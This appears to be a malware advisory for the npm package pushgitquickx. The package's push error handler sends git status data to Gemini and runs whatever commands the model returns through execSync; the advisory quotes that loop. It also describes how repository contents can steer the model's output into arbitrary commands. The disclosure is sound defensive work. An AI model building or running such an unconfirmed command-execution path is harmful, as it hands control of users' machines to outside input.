MAL-2026-14578 Malicious code in pushgitquickx (npm)

The push subcommand of this CLI catches exceptions from git operations and, in the error handler, sends the git error text and JSON-serialized git status output (branch name, tracked and untracked file paths, ahead/behind info) to Google Gemini via the @google/generative-ai SDK using a Google API key hardcoded in the source. The model's response includes a commandsToRun array, and the code iterates that array and executes each string via execSync on the installer's machine with stdio: 'ignore' (for (const cmd of aiResponse.commandsToRun) { execSync(cmd, { stdio: 'ignore' }); }). Because the remote model is conditioned on attacker-influenceable inputs (branch names, file paths, error strings coming from arbitrary repository state) and any command it emits is run without confirmation, allow-listing, or logging, this is a remote-controlled shell-execution surface on the installer's host — running gitquickpush push inside a repo whose contents can steer the model output can result in arbitrary command execution, including destructive git operations or broader host commands. The AI phone-home is also undisclosed in the README, and the git-status payload sent to Google is routed through the author's own hardcoded Gemini API key rather than a caller-configured credential, so the caller does not choose the destination. The same source additionally embeds the author's Google generative-language API key in plaintext, exposing the author's own quota.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.